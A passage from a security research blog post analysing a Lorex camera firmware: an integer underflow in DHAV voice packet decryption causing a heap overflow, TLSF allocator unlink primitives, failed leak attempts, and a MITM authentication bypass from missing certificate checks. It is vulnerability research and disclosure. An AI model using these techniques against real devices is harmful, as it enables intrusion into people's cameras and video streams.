v14->bMaxSize -= 44; // underflow is here
v14->bField_17 = off_6A6D40(v15, 23);
if ( offset )
Packet_aeda_packetPut(frame, &originalPacketContent->header[originalPacketContent->bMaxSize], offset);
bodyOffset = v14->bMaxSize + offset + 24; // bodyOffset becomes too big due to the underflow
body = &originalPacketContent->header[offset + originalPacketContent->bMaxSize];
if ( key && body && &v15->DHAVHeader[bodyOffset] )
{
SecUnit = CipherExport_createSecUnit(0, 2, 256, (int *)&dynamicHeader->qwIv, 16, 3);
v18 = (void ***)SecUnit;
if ( SecUnit )
{
if ( (CipherExport_secUnitAesCipher(SecUnit, body, encLen, key, 32, &v15->DHAVHeader[bodyOffset], encLen) & 0x80000000) == 0 )
...
The problem is v14->bMaxSize -= 44;
combined with bodyOffset = v14->bMaxSize + offset + 24;
and v12 = Packet_mallocPacket(inframe_len - 44, "FrameEncoder");
. When v14->bMaxSize
is smaller than 44, the integer will underflow and become an integer close to 255 (the size of bMaxSize
is one byte). This results in the bodyOffset = v14->bMaxSize + offset + 24;
computation being wrong, pointing too far into memory. The bodyOffset
is used in &v15->DHAVHeader[bodyOffset]
to determine where to write the decrypted data to. v15
is a newly allocated packet with the purpose of holding the decrypted body data, which is of size inframe_len - 44
. Since bodyOffset
is bigger than expected, this results in the decrypted packet being written partially out of bounds thus corrupting the next heap chunk. There is simply a check missing to see if the value of the bMaxSize
is at least 44, which is implicitely expected since the dynamic header is of size 44.
The integer underflow was found through manual code analysis, but we used our Unicorn fuzzer to create a test case that actually triggers the integer underflow due to the dynamic header being difficult to correctly replicate.
So we have an out of bounds write on the heap, great! And it is a rather clean one since we can use any bytes we want as long as we correctly encrypt our payload and we can fully control the length of the payload allowing us for precise overflowing out of bounds. So what kind of heap are we actually working with?
Upon examining the strings in the allocator, it is trivial to see that we are working with this exact implementation of the Two-Level Segregated Fit memory allocator (TLSF). The TLSF memory allocator is a memory allocator designed for Real-Time Operating Systems and it provides explicit allocation and deallocation of memory blocks with a temporal cost of Θ(1). Two important notes about TLSF:First, the TLSF heap does not see null bytes as an empty allocation. Instead, there is a block_null
which is an allocated block representing the end of the doubly linked list. Second, it is important to note that tlsf_assert
statements are actually shipped in production and therefore must always hold or the whole sonia binary will crash.
The following structure represents the first few bytes of memory we overwrite out of bounds:
typedef struct block_header_t {
/* Points to the previous physical block. */
struct block_header_t *prev_phys_block;
/* The size of this block, excluding the block header. */
size_t size;
/* Next and previous free blocks. */
struct block_header_t *next_free;
struct block_header_t *prev_free;
} block_header_t;
If we overwrite the next_free
and prev_free
, this results in a (restricted) arbitrary write in remove_free_block
:
/* Remove a free block from the free list.*/
static void remove_free_block(control_t* control, block_header_t* block, int fl, int sl)
{
block_header_t* prev = block->prev_free; // we control this
block_header_t* next = block->next_free; // we control this
tlsf_assert(prev && "prev_free field can not be null");
tlsf_assert(next && "next_free field can not be null");
next->prev_free = prev;
prev->next_free = next;
/* If this block is the head of the free list, set new head. */
if (control->blocks[fl][sl] == block)
{
control->blocks[fl][sl] = next;
/* If the new head is null, clear the bitmap. */
if (next == &control->block_null)
{
control->sl_bitmap[fl] &= ~(1U << sl);
/* If the second bitmap is now empty, clear the fl bitmap. */
if (!control->sl_bitmap[fl])
{
control->fl_bitmap &= ~(1U << fl);
}
}
}
}
The constraint however is that next
is writable since the pointer prev
is written to [next + 0xC]
(which is next->prev_free
) and prev
is writable since next
is written to [prev + 0x8]
(which is prev_next_free
), so both pointers must be writable. It is however not possible to overwrite a GOT entry with this primitive, since when we want to overwrite a GOT entry with a pointer to system
, a pointer is also written to the function body of system
which is non-writable memory. Unless we have a leak!If we have a leak, we are able to compute the offset to /dev/mem
which is memory that is rwx. This could just be enough to create a ROP-chain out of this primitive.But we do not have a leak, so let's try to create one!
Since we can control the exact amount of data written out of bounds, we can also decide to only overwrite the next_free
pointer and leave the prev_free
. The prev_free
will probably point to block_null
which is an allocation representing the end of a list (instead of using null bytes). This will result in the prev_free
pointer being written to where we point next_free
to. However, there should also be a pointer at next_free + 0xC
which is again writable. Furthermore, we should be able to read the memory location where we point next_free
to in order to actually create a pointer leak. As far as we could see, the only interesting target for this is around 0x0077E204 which is writable memory in BSS which contains the version number, vendor name, machine name, etc. which are all send when requesting DHDiscover.search
over multicast. For example, if we partially overwrite the version number with a pointer to the null_block
, we can then request the version number over multicast and we would have a leak.
We were able to find an offset which satisfied this constraint, but a new (blocking) issue arose: the next_free
pointer is added to the doubly linked list of the TLSF heap which causes it to enter a corrupted state. This corrupted state is because during allocation of a new chunk, it will fetch the pointer to the block from the doubly linked list and checks if the size of that block (stored just before the memory the next_free
pointer in memory) to be at least the requested size:
static block_header_t *block_locate_free(control_t *control, size_t size) {
int fl = 0, sl = 0;
block_header_t *block = 0;
if (size) {
mapping_search(size, &fl, &sl);
/*
** mapping_search can futz with the size, so for excessively large sizes it
*can sometimes wind up
** with indices that are off the end of the block array.
** So, we protect against that here, since this is the only callsite of
*mapping_search.
** Note that we don't need to check sl, since it comes from a modulo
*operation that guarantees it's always in range.
*/
if (fl < FL_INDEX_COUNT) {
block = search_suitable_block(control, &fl, &sl);
}
}
if (block) {
tlsf_assert(block_size(block) >= size); // this assert ruines the exploit
remove_free_block(control, block, fl, sl);
}
return block;
}
Since many allocations are done during RTSP streaming, it is impossible to prevent new allocations for the size we corrupted. And it is not possible to ignore this failing assert, since the assert will cause a SIGABRT and consequently result in a reboot of the device. So yet again another dead end!
The Lorex implements a lot of (custom) functionality and therefore has a lot of attack surface.Fuzzing the sonia binary is difficult with LibAFL, since the lack of support of threading when using snapshot fuzzing with QEMU. Instead of LibAFL, we used Unicorn to perform snapshot fuzzing based on a memory snapshot created with GDB. We found that certificate checking has not been implemented and therefore you can freely MITM the communciation between the Lorex and the cloud services. This allows for an authentication bypass to get to the RTSP, allowing an attacker to view the video stream and send voice data. We also found that the parsing of DHAV voice data packets contains an integer underflow, allowing for a heap overflow. Due to the use of the TLSF allocator, the heap overflow does not result in a strong enough primitive to make it exploitable.
In part 2 of this blogpost series, we will have a look at the actual exploit(s) found for the Pwn2Own competition. This blogpost will be published as soon as the embargo is released.
All items